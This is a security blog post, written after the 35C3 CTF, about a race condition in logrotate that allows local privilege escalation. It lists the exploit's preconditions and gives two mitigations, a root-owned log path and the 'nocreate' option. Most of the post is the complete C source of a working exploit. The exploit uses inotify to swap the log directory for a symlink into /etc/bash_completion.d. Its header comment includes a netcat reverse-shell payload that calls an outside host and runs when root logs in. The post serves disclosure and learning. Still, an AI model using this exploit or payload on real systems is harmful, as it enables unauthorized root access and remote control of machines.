Programming https://tech.feedyourhead.at/Programming en Abusing a race condition in logrotate to elevate privileges https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges <span class="field field--name-title field--type-string field--label-hidden">Abusing a race condition in logrotate to elevate privileges</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>Together with a friend we took part of the Capture The Flag at the 35C3. One challenge was that one:</p> <blockquote> <p>Logrotate is designed to ease administration of systems that generate large numbers of log files. It allows automatic rotation, compression, removal, and mailing of log files. Each log file may be handled daily, weekly, monthly, or when it grows too large. It also gives you a root shell.</p> </blockquote> <p>After searching at google I found out about a race condition in logrotate. In many <a href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=400198">bug reports</a> it was stated that a race condition exists <s>if logrotate gets executed with the "create" option</s>. A very detailed and brilliant analysis of the problem could be found at the blog of the <a href="https://blog.nsogroup.com/logrotate-zajebiste-500-points/">nsogroup</a>. Their exploit was very specific for the CTF challenge and it needs a suid binary that executes run-parts(cron). It worked for the CTF and I guess they earned their points. I was too slow and did not solve the challenge but I tried to finish it at home. My approach was to use inotify on /tmp/log/pwn.log to trigger the race. It seems that the logrotate bug could be exploited on live environments.</p> <h3>Requirements</h3> <p>In order to exploit this vulnerability for privilege escalation the following requirements must be met:</p> <ul> <li>logrotate has to be run as user root</li> <li>an unprivileged user has to be in control of the logdir-path</li> <li>the configfile should include the "create"-option.</li> </ul> <p>An attacker could elevate his privileges by writing reverse-shells into directories like "/etc/bash_completition.d/". This is how the logrotate-config looks like:</p> <pre> <code> /tmp/log/pwnme.log { daily rotate 12 missingok notifempty size 1k create } </code></pre> <p>My unprivileged user is totally in control of /tmp/log/:</p> <pre> <code> osboxes@osboxes:~$ ls -l /tmp/log total 2940 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.0 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.1 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.10 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.11 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.12 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.13 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.2 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.3 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.4 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.5 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.6 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.7 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.8 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.9 osboxes@osboxes:~$ ls -ld /tmp/log drwxr-xr-x 2 osboxes osboxes 4096 Jan 14 15:34 /tmp/log </code></pre> <h3>Exploit</h3> <p>The vulnerability can be triggerd by replacing /tmp/log by a symlink to /etc/bash_completition.d after /tmp/log/pwnme.log got renamed. I wrote the following <a href="https://github.com/whotwagner/logrotten">Exploit</a>:</p> <div class="geshifilter"><pre class="c geshifilter-c" style="font-family:monospace;">&nbsp; <span style="color: #808080; font-style: italic;">/* * logrotate poc exploit * * [ Brief description ] * - logrotate is prone to a race condition after renaming the logfile. * - If logrotate is executed as root and the user is in control of the logfile path, it is possible to abuse a race-condition to write files in ANY directories. * - An attacker could elevate his privileges by writing reverse-shells into * directories like &quot;/etc/bash_completition.d/&quot;. * - This vulnerability was found during a challenge at the 35c3 CTF * ( https://ctftime.org/event/718 ) * - A detailed description and a PoC of this challenge was written by the * - nsogroup ( https://blog.nsogroup.com/logrotate-zajebiste-500-points/ ) * * [ Precondition for privilege escalation ] * - Logrotate needs to be executed as root * - The logpath needs to be in control of the attacker * - &quot;create&quot; option is set in the logrotate configuration. * This exploit might not work without * * [ Tested version ] * - Debian GNU/Linux 9.5 (stretch) * - Amazon Linux 2 AMI (HVM) * - Ubuntu 18.04.1 * - logrotate 3.8.6 * - logrotate 3.11.0 * - logrotate 3.15.0 * * [ Compile ] * - gcc -o logrotten logrotten.c * * [ Prepare payload ] * - echo &quot;if [ `id -u` -eq 0 ]; /bin/nc -e /bin/bash myhost 3333 &amp;; fi&quot; &gt; payloadfile * * [ Run exploit ] * - nice -n -20 ./logrotten /tmp/log/pwnme.log payloadfile * * [ Known Problems ] * - It's hard to win the race inside a docker container * * [ Mitigation ] * - make sure that logpath is owned by root * - or use option &quot;nocreate&quot; * * [ Author ] * - Wolfgang Hotwagner * * [ Contact ] * - https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges * - https://github.com/whotwagner/logrotten */</span> &nbsp; <span style="color: #339933;">#include &lt;stdio.h&gt;</span> <span style="color: #339933;">#include &lt;stdlib.h&gt;</span> <span style="color: #339933;">#include &lt;errno.h&gt;</span> <span style="color: #339933;">#include &lt;sys/types.h&gt;</span> <span style="color: #339933;">#include &lt;sys/inotify.h&gt;</span> <span style="color: #339933;">#include &lt;unistd.h&gt;</span> <span style="color: #339933;">#include &lt;string.h&gt;</span> <span style="color: #339933;">#include &lt;alloca.h&gt;</span> <span style="color: #339933;">#include &lt;sys/stat.h&gt;</span> &nbsp; &nbsp; <span style="color: #339933;">#define EVENT_SIZE ( sizeof (struct inotify_event) )</span> <span style="color: #339933;">#define EVENT_BUF_LEN ( 1024 * ( EVENT_SIZE + 16 ) )</span> &nbsp; <span style="color: #808080; font-style: italic;">/* use TARGETDIR without &quot;/&quot; at the end */</span> <span style="color: #339933;">#define TARGETDIR &quot;/etc/bash_completion.d&quot;</span> &nbsp; <span style="color: #339933;">#define DEBUG 1</span> &nbsp; <span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span><span style="color: #339933;">*</span> argv<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #993333;">int</span> length<span style="color: #339933;">,</span> i <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> <span style="color: #993333;">int</span> j <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> <span style="color: #993333;">int</span> index <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> <span style="color: #993333;">int</span> fd<span style="color: #339933;">;</span> <span style="color: #993333;">int</span> wd<span style="color: #339933;">;</span> <span style="color: #993333;">char</span> buffer<span style="color: #009900;">&#91;</span>EVENT_BUF_LEN<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>payloadfile<span style="color: #339933;">;</span> <span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>logfile<span style="color: #339933;">;</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>logpath<span style="color: #339933;">;</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>logpath2<span style="color: #339933;">;</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>targetpath<span style="color: #339933;">;</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>targetdir<span style="color: #339933;">;</span> <span style="color: #993333;">char</span> ch<span style="color: #339933;">;</span> <span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>p<span style="color: #339933;">;</span> FILE <span style="color: #339933;">*</span>source<span style="color: #339933;">,</span> <span style="color: #339933;">*</span>target<span style="color: #339933;">;</span> &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>argc <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/fprintf.html"><span style="color: #000066;">fprintf</span></a><span style="color: #009900;">&#40;</span>stderr<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;usage: %s &lt;logfile&gt; &lt;payloadfile&gt; [targetdir]<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/exit.html"><span style="color: #000066;">exit</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> &nbsp; logfile <span style="color: #339933;">=</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> payloadfile <span style="color: #339933;">=</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> &nbsp; <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span>j<span style="color: #339933;">=</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>logfile<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> logfile<span style="color: #009900;">&#91;</span>j<span style="color: #009900;">&#93;</span> <span style="color: #339933;">!=</span> <span style="color: #ff0000;">'/'</span> <span style="color: #339933;">&amp;&amp;</span> j <span style="color: #339933;">!=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> j<span style="color: #339933;">--</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; index <span style="color: #339933;">=</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>logfile<span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span>j<span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #339933;">;</span> &nbsp; p <span style="color: #339933;">=</span> <span style="color: #339933;">&amp;</span>logfile<span style="color: #009900;">&#91;</span>index<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> &nbsp; logpath <span style="color: #339933;">=</span> alloca<span style="color: #009900;">&#40;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>logfile<span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span><span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> logpath2 <span style="color: #339933;">=</span> alloca<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>logfile<span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span><span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>argc <span style="color: #339933;">&gt;</span> <span style="color: #0000dd;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> targetdir <span style="color: #339933;">=</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> targetpath <span style="color: #339933;">=</span> alloca<span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #009900;">&#40;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>p<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">*</span><span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/strcat.html"><span style="color: #000066;">strcat</span></a><span style="color: #009900;">&#40;</span>targetpath<span style="color: #339933;">,</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span> targetdir<span style="color: #339933;">=</span> TARGETDIR<span style="color: #339933;">;</span> targetpath <span style="color: #339933;">=</span> alloca<span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>TARGETDIR<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #009900;">&#40;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>p<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">*</span><span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/strcat.html"><span style="color: #000066;">strcat</span></a><span style="color: #009900;">&#40;</span>targetpath<span style="color: #339933;">,</span>TARGETDIR<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/strcat.html"><span style="color: #000066;">strcat</span></a><span style="color: #009900;">&#40;</span>targetpath<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;/&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/strcat.html"><span style="color: #000066;">strcat</span></a><span style="color: #009900;">&#40;</span>targetpath<span style="color: #339933;">,</span>p<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span>j <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> j <span style="color: #339933;">&lt;</span> index<span style="color: #339933;">;</span> j<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> logpath<span style="color: #009900;">&#91;</span>j<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> logfile<span style="color: #009900;">&#91;</span>j<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> logpath<span style="color: #009900;">&#91;</span>j<span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">'<span style="color: #006699; font-weight: bold;">\0</span>'</span><span style="color: #339933;">;</span> &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/strcpy.html"><span style="color: #000066;">strcpy</span></a><span style="color: #009900;">&#40;</span>logpath2<span style="color: #339933;">,</span>logpath<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> logpath2<span style="color: #009900;">&#91;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>logpath<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">'2'</span><span style="color: #339933;">;</span> logpath2<span style="color: #009900;">&#91;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>logpath<span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">'<span style="color: #006699; font-weight: bold;">\0</span>'</span><span style="color: #339933;">;</span> &nbsp; <span style="color: #808080; font-style: italic;">/*creating the INOTIFY instance*/</span> fd <span style="color: #339933;">=</span> inotify_init<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> DEBUG <span style="color: #339933;">==</span> <span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;logfile: %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>logfile<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;logpath: %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>logpath<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;logpath2: %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>logpath2<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;targetpath: %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>targetpath<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;targetdir: %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>targetdir<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;p: %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>p<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> &nbsp; <span style="color: #808080; font-style: italic;">/*checking for error*/</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> fd <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">0</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/perror.html"><span style="color: #000066;">perror</span></a><span style="color: #009900;">&#40;</span> <span style="color: #ff0000;">&quot;inotify_init&quot;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> &nbsp; wd <span style="color: #339933;">=</span> inotify_add_watch<span style="color: #009900;">&#40;</span> fd<span style="color: #339933;">,</span>logpath<span style="color: #339933;">,</span> IN_MOVED_FROM <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; &nbsp; <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> i<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> length <span style="color: #339933;">=</span> read<span style="color: #009900;">&#40;</span> fd<span style="color: #339933;">,</span> buffer<span style="color: #339933;">,</span> EVENT_BUF_LEN <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span>i <span style="color: #339933;">&lt;</span> length<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #993333;">struct</span> inotify_event <span style="color: #339933;">*</span>event <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span> <span style="color: #993333;">struct</span> inotify_event <span style="color: #339933;">*</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>buffer<span style="color: #009900;">&#91;</span> i <span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> event<span style="color: #339933;">-&gt;</span>len <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> event<span style="color: #339933;">-&gt;</span>mask <span style="color: #339933;">&amp;</span> IN_MOVED_FROM <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strcmp.html"><span style="color: #000066;">strcmp</span></a><span style="color: #009900;">&#40;</span>event<span style="color: #339933;">-&gt;</span>name<span style="color: #339933;">,</span>p<span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #808080; font-style: italic;">/* printf( &quot;Something is moved %s.\n&quot;, event-&gt;name ); */</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/rename.html"><span style="color: #000066;">rename</span></a><span style="color: #009900;">&#40;</span>logpath<span style="color: #339933;">,</span>logpath2<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> symlink<span style="color: #009900;">&#40;</span>targetdir<span style="color: #339933;">,</span>logpath<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> sleep<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> source <span style="color: #339933;">=</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/fopen.html"><span style="color: #000066;">fopen</span></a><span style="color: #009900;">&#40;</span>payloadfile<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;r&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>source <span style="color: #339933;">==</span> NULL<span style="color: #009900;">&#41;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/exit.html"><span style="color: #000066;">exit</span></a><span style="color: #009900;">&#40;</span>EXIT_FAILURE<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; target <span style="color: #339933;">=</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/fopen.html"><span style="color: #000066;">fopen</span></a><span style="color: #009900;">&#40;</span>targetpath<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;w&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>target <span style="color: #339933;">==</span> NULL<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/fclose.html"><span style="color: #000066;">fclose</span></a><span style="color: #009900;">&#40;</span>source<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/exit.html"><span style="color: #000066;">exit</span></a><span style="color: #009900;">&#40;</span>EXIT_FAILURE<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> &nbsp; <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>ch <span style="color: #339933;">=</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/fgetc.html"><span style="color: #000066;">fgetc</span></a><span style="color: #009900;">&#40;</span>source<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> EOF<span style="color: #009900;">&#41;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/fputc.html"><span style="color: #000066;">fputc</span></a><span style="color: #009900;">&#40;</span>ch<span style="color: #339933;">,</span> target<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; chmod<span style="color: #009900;">&#40;</span>targetpath<span style="color: #339933;">,</span>S_IRUSR <span style="color: #339933;">|</span> S_IXUSR <span style="color: #339933;">|</span> S_IRGRP <span style="color: #339933;">|</span> S_IXGRP <span style="color: #339933;">|</span> S_IROTH <span style="color: #339933;">|</span> S_IXOTH<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/fclose.html"><span style="color: #000066;">fclose</span></a><span style="color: #009900;">&#40;</span>source<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/fclose.html"><span style="color: #000066;">fclose</span></a><span style="color: #009900;">&#40;</span>target<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> inotify_rm_watch<span style="color: #009900;">&#40;</span> fd<span style="color: #339933;">,</span> wd <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> close<span style="color: #009900;">&#40;</span> fd <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/exit.html"><span style="color: #000066;">exit</span></a><span style="color: #009900;">&#40;</span>EXIT_SUCCESS<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> <span style="color: #009900;">&#125;</span> <span style="color: #009900;">&#125;</span> i <span style="color: #339933;">+=</span> EVENT_SIZE <span style="color: #339933;">+</span> event<span style="color: #339933;">-&gt;</span>len<span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> <span style="color: #009900;">&#125;</span> <span style="color: #808080; font-style: italic;">/*removing from the watch list.*/</span> inotify_rm_watch<span style="color: #009900;">&#40;</span> fd<span style="color: #339933;">,</span> wd <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; <span style="color: #808080; font-style: italic;">/*closing the INOTIFY instance*/</span> close<span style="color: #009900;">&#40;</span> fd <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/exit.html"><span style="color: #000066;">exit</span></a><span style="color: #009900;">&#40;</span>EXIT_SUCCESS<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span></pre></div> <p>As soon as root logs in, the reverse shell gets executed with root privileges.</p> <p> <video controls="" height="360" width="480"><source src="/sites/default/files/DateiUploads/logrotate2.mp4" type="video/mp4" /></video> </p> <p>&nbsp;</p> <h3>Known Issues</h3> <p>I wasn't able to win the race inside a docker container.</p> <p>&nbsp;</p> <h3>Update</h3> <p>I disgraced myself by trying to fix this without much knowledge about race conditions. Not only that my fix opened a memory leak by not freeing lstat()-space, it also didn't fix the problem(. I tried to check if the path contains a symlink right before the open() for the file touching happens. This made the time window a bit smaller and it was enough for this exploit. But a time window still exists. I am even not sure if a proper solution for that problem exist, without changing a lot of code and without creating other problems.&nbsp;</p> <p>Even if I feel quite bad for my failed attempt to fix this and for my very sloppy code, I learned a lot from this experience.</p> <p>&nbsp;</p> </div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">Jan 14 2019</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/security" hreflang="en">Security</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Programming" hreflang="en">Programming</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/c" hreflang="en">C</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/sysadmin" hreflang="en">Sysadmin</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" 